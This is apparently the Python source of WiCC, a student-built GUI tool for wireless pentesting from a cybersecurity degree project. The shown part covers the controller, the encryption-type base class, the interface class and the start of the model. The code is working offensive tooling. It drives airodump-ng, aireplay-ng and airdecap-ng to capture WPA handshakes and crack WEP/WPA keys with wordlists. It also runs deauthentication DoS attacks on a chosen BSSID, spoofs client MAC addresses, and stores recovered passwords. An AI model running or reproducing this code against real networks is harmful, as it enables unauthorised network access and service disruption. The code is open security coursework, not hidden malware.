self.selected_interface != "" 539 | 540 | def has_selected_network(self): 541 | """ 542 | Method to check if there is a selected network to attack 543 | :return: true or false whether the selected network exists or is null 544 | 545 | :Author: Miguel Yanes Fernández 546 | """ 547 | return self.selected_network != "" 548 | 549 | def add_net_attack(self, mac, object_reference): 550 | """ 551 | Add a net_attack object (EncryptionType object, whether a WPA or WEP child). Includes the mac so that it can 552 | be searched if needed 553 | :param mac: network mac 554 | :param object_reference: net_attack object reference (EncType object type) 555 | :return: none 556 | """ 557 | self.model.add_net_attack(mac, object_reference) 558 | 559 | def get_net_attack(self, mac): 560 | """ 561 | Gets a net_attack object with a given mac 562 | :param mac: network mac to search 563 | :return: net_attack object reference 564 | """ 565 | return self.model.get_net_attack(mac) 566 | 567 | def notify_view(self): 568 | """ 569 | Send notify to update the view with the list of interfaces and networks 570 | :return: 571 | 572 | :Author: Miguel Yanes Fernández 573 | """ 574 | if not self.get_running_stopped(): 575 | interfaces, networks = self.model.get_parameters() 576 | try: 577 | self.view.get_notify(interfaces, networks) 578 | except: 579 | try: 580 | # sometimes works the second time because the resource was busy 581 | time.sleep(1) 582 | self.show_message("Error communicating control with view, retrying...") 583 | self.view.get_notify(interfaces, networks) 584 | self.show_message("Success") 585 | except: 586 | self.show_message("\t* Error while notifying view (try restarting the program)") 587 | self.show_error_notification("Fatal error", "Error communicating with the view.\n" 588 | "Try restarting the program") 589 | self.get_notify(Operation.STOP_RUNNING, None) 590 | 591 | def get_notify(self, operation, value): 592 | """ 593 | Receives the notify generated by the view 594 | :param operation: type of operation (from the enumeration class Operation) 595 | :param value: value applied to that operation 596 | :return: none 597 | 598 | :Author: Miguel Yanes Fernández & Pablo Sanz Alguacil 599 | """ 600 | if operation == Operation.SELECT_INTERFACE: 601 | self.selected_interface = value 602 | if self.selected_interface == "": 603 | self.view.set_buttons(True) 604 | self.view.get_notify_buttons(["select network"], False) 605 | self.show_info_notification("Please, select a network interface") 606 | self.show_message("Select interface") 607 | else: 608 | self.set_semaphores_state("Start scan") 609 | elif operation == Operation.SELECT_NETWORK: 610 | if value == "": 611 | self.popup.warning("Select a network", "No network selected") 612 | self.show_message("No network selected, please, select one") 613 | return 614 | self.selected_network = value 615 | self.set_buttons_wpa_initial() 616 | self.set_buttons_wep_initial() 617 | self.set_semaphores_state("Stop scan") 618 | elif operation == Operation.ATTACK_NETWORK: 619 | self.stop_scan() 620 | self.attack_network() 621 | elif operation == Operation.STOP_SCAN: 622 | self.stop_scan() 623 | self.semRunningScan.acquire(False) 624 | self.semStoppedScan.release() 625 | elif operation == Operation.STOP_RUNNING: 626 | self.stop_running() 627 | elif operation == Operation.SCAN_OPTIONS: 628 | self.apply_filters(value) 629 | elif operation == Operation.CUSTOMIZE_MAC: 630 | self.customize_mac(value) 631 | elif operation == Operation.RANDOMIZE_MAC: 632 | self.randomize_mac(value) 633 | elif operation == Operation.RESTORE_MAC: 634 | self.restore_mac(value) 635 | elif operation == Operation.SPOOF_MAC: 636 | self.spoof_mac = value 637 | elif operation == Operation.CHECK_MAC: 638 | self.mac_checker(value) 639 | elif operation == Operation.SELECT_CUSTOM_WORDLIST: 640 | self.selected_wordlist = value 641 | elif operation == Operation.PATH_GENERATED_LISTS: 642 | self.path_directory_crunch = value 643 | elif operation == Operation.GENERATE_LIST: 644 | self.generate_wordlist(value) 645 | elif operation == Operation.SELECT_TEMPORARY_FILES_LOCATION: 646 | self.write_directory = value 647 | elif operation == Operation.START_SCAN_WPA: 648 | self.scan_wpa() 649 | elif operation == Operation.SILENT_SCAN: 650 | self.silent_attack = value 651 | elif operation == Operation.OPEN_CRACKED: 652 | self.open_cracked_passwords() 653 | elif operation == Operation.DOS_ATTACK: 654 | self.dos_attack(value) 655 | elif operation == Operation.DECRYPT_FILE: 656 | if value: 657 | self.decrypt_file(value) 658 | 659 | def stop_running(self): 660 | """ 661 | Stops the program execution. Notifies the view to finish itself, then deletes the reference. 662 | :return: none 663 | 664 | :Author: Miguel Yanes Fernández 665 | """ 666 | try: 667 | self.stop_scan() 668 | self.semGeneral.release() 669 | self.view.reaper_calls() 670 | self.show_message("\n\n\tClossing WiCC ...\n\n") 671 | os.close(2) # block writing to stderr 672 | del self.view 673 | self.running_stopped = True 674 | exit(0) 675 | except: 676 | raise SystemExit 677 | 678 | def stop_scan(self): 679 | """ 680 | Series of commands to be executed to stop the scan. Kills the process(es) related with airodump, and then 681 | resets the wireless interface. 682 | :return: none 683 | 684 | :Author: Miguel Yanes Fernández 685 | """ 686 | pgrep_cmd = ['pgrep', 'airodump-ng'] 687 | pgrep_out, pgrep_err = self.execute_command(pgrep_cmd) 688 | 689 | pgrep_out = pgrep_out.decode('utf-8') 690 | 691 | if pgrep_out != "": 692 | pids = pgrep_out.split('\n') 693 | for pid in pids: 694 | if pid != "": 695 | self.execute_command(['kill', '-9', pid]) # kills all processes related with airodump 696 | airmon_cmd = ['airmon-ng', 'stop', self.selected_interface + 'mon'] # stop card to be in monitor mode 697 | ifconf_up_cmd = ['ifconfig', self.selected_interface, 'up'] # sets the wireless interface up again 698 | net_man_cmd = ['NetworkManager'] # restarts NetworkManager 699 | 700 | self.execute_command(airmon_cmd) 701 | self.execute_command(ifconf_up_cmd) 702 | self.execute_command(net_man_cmd) 703 | 704 | self.scan_stopped = True 705 | 706 | try: 707 | out, err = self.execute_command(['rm', self.write_directory + '/net_scan_' + self.timestamp + '-01.csv']) 708 | except: 709 | pass 710 | 711 | def get_interfaces(self): 712 | """ 713 | Return the list of interfaces from Model 714 | :return: list of interfaces 715 | 716 | :Author: Miguel Yanes Fernández 717 | """ 718 | return self.model.get_interfaces() 719 | 720 | def show_info_notification(self, message): 721 | """ 722 | Creates an info popup 723 | :param message: message for the popup 724 | :return: none 725 | 726 | :Author: Miguel Yanes Fernández 727 | """ 728 | if self.informational_popups: 729 | self.popup.info("", message) 730 | 731 | def show_warning_notification(self, message): 732 | """ 733 | Creates a warning popup 734 | :param message: message for the warning popup 735 | :return: none 736 | 737 | :Author: Miguel Yanes Fernández 738 | """ 739 | self.popup.warning("Warning", message) 740 | 741 | def show_error_notification(self, title, message): 742 | """ 743 | Creates an error popup 744 | :param title: title of the popup 745 | :param message: error message 746 | :return: none 747 | 748 | :Author: Miguel Yanes Fernández 749 | """ 750 | self.popup.error(title, message) 751 | 752 | def show_yesno_notification(self, title, question): 753 | """ 754 | Creates a yesno question popup 755 | :param title: title of the popup 756 | :param question: question message 757 | :return: selected answer (boolean) 758 | 759 | :Author: Miguel Yanes Fernández 760 | """ 761 | return self.popup.yesno(title, question) 762 | 763 | def show_okcancel_notification(self, title, question): 764 | """ 765 | Creates an okcancel popup 766 | :param title: title of the popup 767 | :param question: message 768 | :return: answer (boolean) 769 | 770 | :Author: Miguel Yanes Fernández 771 | """ 772 | return self.popup.okcancel(title, question) 773 | 774 | def apply_filters(self, value): 775 | """ 776 | Sets the parameters channel and encryption to scan, and clients and wps for post-scanning filtering 777 | scan_filter_parameters[0] = encryption 778 | scan_filter_parameters[1] = channel 779 | :param: value: array containing the parameters [encryption, wps, clients, channel] 780 | :return: none 781 | :author: Pablo Sanz Alguacil 782 | """ 783 | self.scan_filter_parameters[0] = value[0] 784 | self.scan_filter_parameters[1] = value[3] 785 | self.model.set_filters(value[1], value[2]) 786 | 787 | def set_buttons_wpa_initial(self): 788 | """ 789 | Sets buttons state for the initial wpa scan/attack 790 | :return: none 791 | 792 | :Author: Miguel Yanes Fernández 793 | """ 794 | self.view.get_notify_buttons(["scan_wpa"], True) 795 | self.view.get_notify_buttons(["attack_wpa", "attack_wep", "dos_wpa"], False) 796 | 797 | def set_buttons_wpa_scanned(self): 798 | """ 799 | Sets buttons state for the scanned mode 800 | """ 801 | self.view.get_notify_buttons(["scan_wpa", "attack_wpa", "dos_wpa"], True) 802 | 803 | def set_buttons_wep_initial(self): 804 | self.view.get_notify_buttons(["attack_wep"], True) 805 | 806 | def scan_wpa(self): 807 | """ 808 | Scan a wpa network, waiting until a handshake is captured 809 | :return: none 810 | 811 | :Author: Miguel Yanes Fernández 812 | """ 813 | 814 | network = self.model.search_network(self.selected_network) 815 | 816 | choice = self.show_yesno_notification("Starting WPA scan", 817 | "You are about to start the scanning process on the " 818 | "WPA network:\n\n " + network.get_essid() + 819 | "\n\nThe process will take up to a few minutes." 820 | "\n¿Do you want to start the scan?") 821 | if not choice: 822 | self.set_buttons_wpa_initial() 823 | return 824 | 825 | self.show_message("create wpa instance") 826 | 827 | self.net_attack = self.get_net_attack(network.get_bssid()) 828 | if not self.net_attack: 829 | is_pyrit = False 830 | for pair in self.required_software: 831 | if pair[0] == 'pyrit': 832 | is_pyrit = pair[1] 833 | if not is_pyrit: 834 | self.show_message("Running scan without pyrit (not installed)") 835 | self.net_attack = WPA(network, self.selected_interface, self.selected_wordlist, 836 | self.verbose_level, self.silent_attack, self.write_directory, is_pyrit) 837 | 838 | self.add_net_attack(network.get_bssid(), self.net_attack) 839 | 840 | 841 | self.show_message("start scanning") 842 | self.net_attack.scan_network() 843 | if not self.net_attack.get_injection_supported() and not self.silent_attack: 844 | self.show_info_notification("The selected interface doesnt support packet injection." 845 | "\nAutomatically switching to silent mode (no client de-authing)" 846 | "\n\nThe attack will be slower") 847 | self.show_message("Scanned network - Handshake captured") 848 | 849 | self.show_info_notification("Handshake captured.\n\nYou can now start the attack (cracking process)") 850 | self.set_buttons_wpa_scanned() 851 | self.set_semaphores_state("Stop scan") 852 | return 853 | 854 | def attack_network(self): 855 | """ 856 | Method to start the attack depending on the type of selected network. 857 | :return: none 858 | 859 | :Author: Miguel Yanes Fernández 860 | """ 861 | 862 | password = self.check_cracked_networks(self.passwords_file_name) 863 | if password != "": 864 | self.show_info_notification("Network already cracked\n\nPassword: " + password + 865 | "\n\nYou can now restart the scanning process") 866 | self.cracking_completed = True 867 | self.stop_scan() 868 | self.selected_network = "" 869 | self.set_buttons_wep_initial() 870 | self.set_buttons_wpa_initial() 871 | return 872 | 873 | network = self.model.search_network(self.selected_network) 874 | password = "" 875 | # try: 876 | network_encryption = network.get_encryption() 877 | time.sleep(0.01) 878 | 879 | # ------------- OPEN network ---------------- 880 | if network_encryption == " OPN": 881 | self.show_info_notification("The selected network is open. No password required to connect") 882 | self.cracking_completed = True 883 | self.stop_scan() 884 | self.selected_network = "" 885 | self.set_buttons_wep_initial() 886 | self.set_buttons_wpa_initial() 887 | return 888 | 889 | choice = self.show_yesno_notification("Starting cracking process", 890 | "You are about to start the cracking process on the " 891 | " network:\n\n " + network.get_essid() + 892 | "\n\nThe process will take up to a few minutes." 893 | "\n¿Do you want to start the cracking process?") 894 | if not choice: 895 | self.set_buttons_wep_initial() 896 | return 897 | 898 | # ------------- WEP Attack ---------------- 899 | if network_encryption == " WEP": 900 | if self.spoof_mac: 901 | attacker_mac = self.spoof_client_mac(self.selected_network) 902 | self.show_message("Spoofed client MAC: " + attacker_mac) 903 | else: 904 | attacker_mac = self.mac_checker(self.selected_interface, ) 905 | self.show_message("Attacker's MAC: " + attacker_mac) 906 | 907 | self.show_message("WEP attack") 908 | self.net_attack = WEP(network, self.selected_interface, attacker_mac, 909 | self.verbose_level, self.silent_attack, self.write_directory) 910 | 911 | self.show_message("Scanning network") 912 | password = self.net_attack.scan_network() 913 | self.show_message("Cracking finished") 914 | 915 | # ------------- WPA Attack ---------------- 916 | elif network_encryption[:4] == " WPA": 917 | if self.selected_wordlist == "": 918 | self.show_info_notification("You need to select a wordlist for the WPA attack") 919 | self.set_buttons_wpa_scanned() 920 | return 921 | self.show_message("create wpa instance") 922 | self.net_attack = self.get_net_attack(network.get_bssid()) 923 | self.net_attack.add_wordlist(self.selected_wordlist) 924 | self.show_message("start cracking") 925 | self.cracking_network = True 926 | 927 | password = self.net_attack.crack_network() 928 | self.show_message("finished cracking") 929 | self.cracking_network = False 930 | # pass 931 | 932 | # ------------- Unsupported encryption ----------- 933 | else: 934 | self.show_info_notification("Unsupported encryption type. Try selecting a WEP or WPA/WPA2 network") 935 | 936 | self.cracking_completed = True 937 | self.stop_scan() 938 | 939 | if password != "": 940 | self.show_info_notification("Cracking process finished\n\nPassword: " + password + 941 | "\n\nYou can now restart the scanning process") 942 | self.create_local_folder() 943 | bssid = self.model.search_network(self.selected_network).get_bssid() 944 | essid = self.model.search_network(self.selected_network).get_essid()[1:] 945 | self.store_local_file(self.passwords_file_name, bssid + " " + password + " " + essid) 946 | else: 947 | self.show_info_notification("Cracking process finished\n\nNo password retrieved" 948 | "\n\nYou can restart the scanning process") 949 | 950 | self.set_buttons_wep_initial() 951 | self.set_buttons_wpa_initial() 952 | 953 | def create_local_folder(self): 954 | """ 955 | Create (if doesn't exist) a local folder to store program-related files 956 | :return: none 957 | 958 | :Author: Miguel Yanes Fernández 959 | """ 960 | 961 | if not self.ignore_local_savefiles: 962 | mkdir_cmd = ['mkdir', self.local_folder] 963 | self.execute_command(mkdir_cmd) 964 | 965 | def store_local_file(self, file_name, file_contents): 966 | """ 967 | Stores the passed content in a local file (adds the content if it already exists) 968 | :param file_name: name of the file 969 | :param file_contents: contents to store on the file 970 | :return: none 971 | 972 | :Author: Miguel Yanes Fernández 973 | """ 974 | if not self.ignore_local_savefiles: 975 | with open(self.local_folder + "/" + file_name, "a") as file: 976 | file.write(file_contents + "\n") 977 | file.close() 978 | chmod_cmd = ['chmod', '664', self.local_folder + "/" + file_name] 979 | self.execute_command(chmod_cmd) 980 | 981 | def read_local_file(self, file_name): 982 | """ 983 | Read contents of a local file 984 | :param file_name: name of the file to read 985 | :return: file contents 986 | 987 | :Author: Miguel Yanes Fernández 988 | """ 989 | if not self.ignore_local_savefiles: 990 | try: 991 | with open(self.local_folder + "/" + file_name, "r") as file: 992 | return file.read() 993 | except: 994 | self.show_message("There are no stored cracked networks") 995 | 996 | def check_cracked_networks(self, file_name): 997 | """ 998 | Check if a network has been cracked, using the created file 999 | :param file_name: file name to check 1000 | :return: password, if any is found 1001 | 1002 | :Author: Miguel Yanes Fernández 1003 | """ 1004 | contents = self.read_local_file(file_name) 1005 | if contents: 1006 | lines = contents.split("\n") 1007 | for line in lines: 1008 | words = line.split() 1009 | if line != "": 1010 | if words[0] == self.model.search_network(self.selected_network).get_bssid(): 1011 | return words[1] 1012 | self.show_message("Selected network is not in the stored cracked networks list") 1013 | return "" 1014 | 1015 | def running_scan(self): 1016 | """ 1017 | Method to know if there is a scan running 1018 | :return: value of global variable scan_stopped, used to know if there is a scan running 1019 | 1020 | :Author: Miguel Yanes Fernández 1021 | """ 1022 | return not self.scan_stopped 1023 | 1024 | def is_cracking_network(self): 1025 | """ 1026 | Method to know if control is cracking a network 1027 | :return: cracking state 1028 | 1029 | :Author: Miguel Yanes Fernández 1030 | """ 1031 | return self.cracking_network 1032 | 1033 | def spoof_client_mac(self, id): 1034 | """ 1035 | Method to spoof a network client's MAc 1036 | :param id: network id to select a client mac 1037 | :return: spoofed client mac 1038 | 1039 | :Author: Miguel Yanes Fernández 1040 | """ 1041 | network = self.model.search_network(id) 1042 | if network.get_clients() != 0: 1043 | client = network.get_first_client() 1044 | client_mac = client.get_mac() 1045 | return client_mac 1046 | else: 1047 | return self.model.get_mac(self.selected_interface) 1048 | 1049 | def randomize_mac(self, interface): 1050 | """ 1051 | Generates a random MAC address. 1052 | Calls customize_mac() to set the generated address 1053 | :param interface: string. The name of the interface to use 1054 | :return: 1055 | 1056 | :author: Pablo Sanz Alguacil 1057 | """ 1058 | generated_address = "" 1059 | 1060 | first_digit = self.hex_values[random.randint(0, 15)] 1061 | second_digit = self.hex_values_even[random.randint(0, 6)] 1062 | generated_address += first_digit + second_digit + ":" 1063 | for i in range(0, 4): 1064 | first_digit = self.hex_values[random.randint(0, 15)] 1065 | second_digit = self.hex_values[random.randint(0, 15)] 1066 | generated_address += first_digit + second_digit + ":" 1067 | else: 1068 | first_digit = self.hex_values[random.randint(0, 15)] 1069 | second_digit = self.hex_values[random.randint(0, 15)] 1070 | generated_address += first_digit + second_digit 1071 | 1072 | self.customize_mac((interface, generated_address)) 1073 | 1074 | def customize_mac(self, values): 1075 | """ 1076 | Generates and executes the command to set a custom MAC address. 1077 | :param values: 0 - interface, 1 - mac address 1078 | :return: 1079 | 1080 | :author: Pablo Sanz Alguacil 1081 | """ 1082 | try: 1083 | command1 = ['ifconfig', values[0], 'down'] 1084 | command2 = ['ifconfig', values[0], 'hw', 'ether', values[1]] 1085 | command3 = ['ifconfig', values[0], 'up'] 1086 | self.execute_command(command1) 1087 | self.execute_command(command2) 1088 | self.execute_command(command3) 1089 | except: 1090 | self.show_warning_notification("Unable to set new MAC address") 1091 | 1092 | if self.mac_checker(values[0]) != values[1]: 1093 | self.customize_mac(values) 1094 | 1095 | def restore_mac(self, interface): 1096 | """ 1097 | Generates and executes the command to restore the original MAC address. 1098 | :param interface: string cointainig the name of the target interface 1099 | 1100 | :author: Pablo Sanz Alguacil 1101 | """ 1102 | try: 1103 | command1 = ['ifconfig', interface, 'down'] # Turns down the interface 1104 | self.execute_command(command1) 1105 | command2 = ['ethtool', '-P', interface] # Gets permanent(original) MAC address 1106 | original_mac = self.execute_command(command2)[0].decode("utf-8").split(" ")[-1] 1107 | command3 = ['ifconfig', interface, 'hw', 'ether', original_mac] # Sets the original MAC as current MAC 1108 | self.execute_command(command3) 1109 | command4 = ['ifconfig', interface, 'up'] # Turns on the interface 1110 | self.execute_command(command4) 1111 | except: 1112 | self.show_warning_notification("Unable to restore original MAC address") 1113 | 1114 | def mac_checker(self, interface): 1115 | """ 1116 | Generates and executes the command to get the curretn MAC address. 1117 | :param interface: string cointainig the name of the target interface 1118 | :return: string containing the current MAC address, Flase in case of error 1119 | 1120 | :author: Pablo Sanz Alguacil and Miguel Yanes Fernández 1121 | """ 1122 | try: 1123 | command = ['ifconfig', interface] 1124 | current_mac = self.execute_command(command)[0].decode("utf-8").split(" ") 1125 | for i in range(0, len(current_mac)): 1126 | if current_mac[i] == "ether": 1127 | current_mac = current_mac[i + 1] 1128 | return current_mac 1129 | return None 1130 | except: 1131 | self.show_warning_notification("Unable to get current MAC address") 1132 | return False 1133 | 1134 | def get_running_stopped(self): 1135 | """ 1136 | Gets the running state of the program 1137 | :return: running state 1138 | 1139 | :Author: Miguel Yanes Fernández 1140 | """ 1141 | return self.running_stopped 1142 | 1143 | def generate_wordlist(self, words_list): 1144 | """ 1145 | Generates and executes the command to generate a custom wordlist using crunch. 1146 | :param words_list: array containing the words to generate the list. 1147 | 1148 | :author: Pablo Sanz Alguacil 1149 | """ 1150 | index = 0 1151 | exists = True 1152 | file_name = "" 1153 | 1154 | if self.path_directory_crunch != "": 1155 | directory = self.path_directory_crunch 1156 | else: 1157 | directory = self.local_folder 1158 | 1159 | while exists: 1160 | if index == 0: 1161 | file_name = self.generated_wordlist_name + ".txt" 1162 | else: 1163 | file_name = self.generated_wordlist_name + "(" + str(index) + ").txt" 1164 | 1165 | file_path = directory + "/" + file_name 1166 | exists = os.path.isfile(file_path) 1167 | index += 1 1168 | 1169 | output_list = directory + "/" + file_name 1170 | command = ['crunch', '0', '0', '-o', output_list, '-p'] 1171 | for word in words_list: 1172 | command.append(word) 1173 | 1174 | self.show_message("Generating custom wordlist") 1175 | self.execute_command(command) 1176 | 1177 | def get_wordlist(self): 1178 | """ 1179 | Get the selected wordlist (or the project wordlist if any is selected) 1180 | :return: wordlist directory 1181 | 1182 | :Author: Miguel Yanes Fernández 1183 | """ 1184 | return self.selected_wordlist 1185 | 1186 | def set_wordlist(self, wordlist): 1187 | """ 1188 | Set the project wordlist 1189 | :param wordlist: selected wordlist directory 1190 | :return: none 1191 | 1192 | :Author: Miguel Yanes Fernández 1193 | """ 1194 | self.selected_wordlist = wordlist 1195 | 1196 | def open_cracked_passwords(self): 1197 | """ 1198 | Opens the cracked passwords file. 1199 | 1200 | :author: Pablo Sanz Alguacil 1201 | """ 1202 | 1203 | try: 1204 | self.show_message("Opening passwords file") 1205 | passwords = self.local_folder + "/" + self.passwords_file_name 1206 | open(passwords, 'r').close() # just to raise an exception if the file doesn't exists 1207 | command = ['xdg-open', passwords] 1208 | thread = threading.Thread(target=self.execute_command, args=(command,)) 1209 | thread.start() 1210 | except FileNotFoundError: 1211 | self.show_warning_notification("No stored cracked networks. You need to do and finish an attack") 1212 | 1213 | def dos_attack(self, loops): 1214 | """ 1215 | Performs a Dos Attack using aireplay-ng. 1216 | 1217 | :param loops: string. Number of times to send 5 packets (1 per second) 1218 | :return: 1219 | """ 1220 | 1221 | network_mac = self.model.search_network(self.selected_network).get_bssid() 1222 | interface = self.selected_interface 1223 | interface_mon = interface + "mon" 1224 | 1225 | airmon_start = ['airmon-ng', 'start', interface] 1226 | check_kill = ['airmon-ng', 'check', 'kill'] 1227 | aireplay = ['aireplay-ng', '-0', '5', '--ignore-negative-one', '-a', network_mac, '-D', interface_mon] 1228 | airmon_stop = ['airmon-ng', 'stop', interface] 1229 | restart_nm = ['NetworkManager'] 1230 | 1231 | self.show_message("Executing DoS attack") 1232 | self.execute_command(airmon_start) 1233 | self.execute_command(check_kill) 1234 | time.sleep(2) 1235 | for x in range(0, int(loops)): 1236 | self.execute_command(aireplay) 1237 | time.sleep(2) 1238 | self.execute_command(airmon_stop) 1239 | self.execute_command(restart_nm) 1240 | self.show_message("DoS attack finished") 1241 | self.show_info_notification("DoS attack finished") 1242 | 1243 | def decrypt_file(self, file_path): 1244 | """ 1245 | Decrypts a .cap file using pyrit and airdecap-ng. 1246 | :param file_path: string. Path to the file. 1247 | 1248 | :author: Pablo Sanz Alguacil 1249 | """ 1250 | 1251 | try: 1252 | command_pyrit = ['pyrit', '-r', str(file_path), 'analyze'] 1253 | command_grep = ['grep', 'AccessPoint'] 1254 | pyrit1 = subprocess.Popen(command_pyrit, stdout=subprocess.PIPE,) 1255 | pyrit2 = subprocess.Popen(command_grep, stdin=pyrit1.stdout, stdout=subprocess.PIPE) 1256 | (stdout, sterr) = pyrit2.communicate() 1257 | brute_essid = stdout.decode('utf-8').split(" ")[3] 1258 | essid = brute_essid[2:len(brute_essid) - 4] 1259 | bssid = stdout.decode('utf-8').split(" ")[2] 1260 | 1261 | password = "" 1262 | cracked_passwords = self.local_folder + "/" + self.passwords_file_name 1263 | with open(cracked_passwords, 'r') as passwords_list: 1264 | for line in passwords_list: 1265 | elements = line.split(" ") 1266 | if elements[0].lower() == bssid: 1267 | password = elements[1] 1268 | 1269 | self.show_message("Decrypting .cap file") 1270 | airdecap = ['airdecap-ng', '-p', password, file_path, '-e', essid] 1271 | self.execute_command(airdecap) 1272 | self.show_message("Cap file decrypted") 1273 | self.show_info_notification("File decrypted") 1274 | 1275 | except: 1276 | self.show_warning_notification("Decryption fail") 1277 | -------------------------------------------------------------------------------- /wicc_enc_type.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | from subprocess import Popen, PIPE 11 | import threading 12 | import datetime 13 | 14 | 15 | class EncryptionType: 16 | 17 | injection_supported = True # to know if the interface supports packet injection 18 | timestamp = 0 19 | 20 | def __init__(self, network, interface, verbose_level, silent_attack, write_directory): 21 | """ 22 | Construction for the parent class EncryptionType. 23 | :param network: target network 24 | :param interface: selected wireless interface 25 | :param verbose_level: verbose level set by main 26 | :param silent_attack: if the attack/scan should be in silent mode 27 | :param write_directory: directory to write the files 28 | 29 | :Author: Miguel Yanes Fernández 30 | """ 31 | self.target_network = network 32 | self.interface = interface 33 | self.bssid = network.get_bssid() 34 | self.essid = network.get_essid()[1:] # [1:] is to remove an empty space before the name 35 | self.channel = str(int(self.target_network.get_channel())) 36 | self.verbose_level = verbose_level 37 | self.silent_attack = silent_attack 38 | self.write_directory = write_directory 39 | self.password = "" 40 | 41 | def show_message(self, message): 42 | """ 43 | Prints a message if the verbose level is equal or higher than 2 44 | :param message: message to print 45 | :return: none 46 | 47 | :Author: Miguel Yanes Fernández 48 | """ 49 | if self.verbose_level >= 2: 50 | print(message) 51 | 52 | def execute_command(self, command): 53 | """ 54 | Static method to execute a defined command. 55 | :param command: parameters for the command. Should be divided into an array. EX: ['ls, '-l'] 56 | :return: returns both stdout and stderr from the command execution 57 | 58 | :Author: Miguel Yanes Fernández 59 | """ 60 | if self.verbose_level == 3: 61 | output = "[Command]: " 62 | for word in command: 63 | output += word + " " 64 | self.show_message("\033[1;30m" + output + "\033[0m") 65 | 66 | process = Popen(command, stdout=PIPE, stderr=PIPE) 67 | return process.communicate() 68 | 69 | def scan_network(self): 70 | """ 71 | Scans the target network and writes the dump file in the selected directory 72 | :return: none 73 | 74 | :Author: Miguel Yanes Fernández 75 | """ 76 | self.timestamp = int(datetime.datetime.now().timestamp()*1000000) 77 | 78 | airmon_start_cmd = ['airmon-ng', 'start', self.interface, self.channel] 79 | self.interface += 'mon' 80 | airmon_check_cmd = ['airmon-ng', 'check', 'kill'] 81 | airodump_scan_cmd = ['airodump-ng', self.interface, '-a', '--bssid', self.bssid, '--write', 82 | self.write_directory + '/net_attack_' + str(self.timestamp), '--channel', self.channel, 83 | '--write-interval', '2', '--output-format', 'pcap'] 84 | self.execute_command(airmon_start_cmd) 85 | self.execute_command(airmon_check_cmd) 86 | thread = threading.Thread(target=self.execute_command, args=(airodump_scan_cmd,)) 87 | thread.start() 88 | thread.join(1) 89 | 90 | def aireplay_check_injection(self, output): 91 | """ 92 | Filters the output from aireplay to check if the interface allows packet injection 93 | :param output: output from the aireplay -9 command 94 | :return: true or false wether it allows packet injection 95 | """ 96 | output = output.decode('utf-8') 97 | lines = output.split('\n') 98 | for line in lines: 99 | if 'Injection is working!' in line: 100 | return True 101 | self.silent_attack = True 102 | self.injection_supported = False 103 | self.show_message("Selected interface doesn't support packet injection") 104 | return False 105 | 106 | def get_injection_supported(self): 107 | """ 108 | Returns if the interface supports packet injection 109 | :return: if the interface supports packet injection 110 | 111 | :Author: Miguel Yanes Fernández 112 | """ 113 | return self.injection_supported 114 | 115 | -------------------------------------------------------------------------------- /wicc_interface.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | 12 | class Interface: 13 | name = "" 14 | address = "" 15 | type = "" 16 | power = 0 17 | channel = 0 18 | 19 | def __init__(self, name, address, type, power, channel): 20 | """ 21 | Constructor for the class Interface, corresponding to the available wireless interfaces 22 | :param name: name of the interface 23 | :param address: physical address 24 | :param type: mode that the interface is running on 25 | :param power: power (dB) of the interface 26 | :param channel: channel where it's running 27 | """ 28 | self.name = name 29 | self.address = address 30 | self.type = type 31 | self.power = power 32 | self.channel = channel 33 | 34 | def __str__(self): 35 | """ 36 | Creates a string with the info of the interface 37 | :return: string with info about the interface parameters 38 | """ 39 | output = "" 40 | output.__add__("Name: " + self.name) 41 | output.__add__(" Address: " + self.address) 42 | output.__add__((" Type: " + self.type)) 43 | output.__add__((" Power: " + self.power)) 44 | output.__add__((" Channel: " + self.channel)) 45 | return output 46 | 47 | def get_name(self): 48 | return self.name 49 | 50 | def get_address(self): 51 | return self.address 52 | 53 | def get_type(self): 54 | return self.type 55 | 56 | def get_power(self): 57 | return self.power 58 | 59 | def get_channel(self): 60 | return self.channel 61 | 62 | def set_name(self, name): 63 | self.name = name 64 | 65 | def set_address(self, address): 66 | self.address = address 67 | 68 | def set_type(self, type): 69 | self.type = type 70 | 71 | def set_power(self, power): 72 | self.power = power 73 | 74 | def set_channel(self, channel): 75 | self.channel = channel 76 | 77 | def get_list(self): 78 | """ 79 | Creates a list with the parameters of the interface 80 | :return: list of parameters 81 | """ 82 | list = [] 83 | list.append(self.name) 84 | list.append(self.address) 85 | list.append(self.type) 86 | list.append(self.power) 87 | list.append(self.channel) 88 | return list 89 | -------------------------------------------------------------------------------- /wicc_model.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | from wicc_interface import Interface 12 | from wicc_network import Network 13 | from wicc_client import Client 14 | 15 | 16 | class Model: 17 | interfaces = [] 18 | networks = [] 19 | clients = [] 20 | network_filters = [False, False] 21 | net_attack_instances = [] # object instances of the net attack classes 22 | 23 | def __init__(self): 24 | """ 25 | Class constructor. Initializes the list of interfaces and networks 26 | """ 27 | self.interfaces = [] 28 | self.networks = [] 29 | 30 | def set_interfaces(self, interfaces): 31 | """ 32 | Sets the list of interfaces as the one received as parameter 33 | :param interfaces: list of objects of the class Interface 34 | :return: 35 | """ 36 | self.interfaces = interfaces 37 | 38 | def add_interface(self, name, address, type, power, channel): 39 | """ 40 | Add a single interface given the parameters to create a new one 41 | :param name: string for the name of the interface 42 | :param address: string for the physical address of the interface 43 | :param type: string for the type of mode of the interface (managed, monitor, 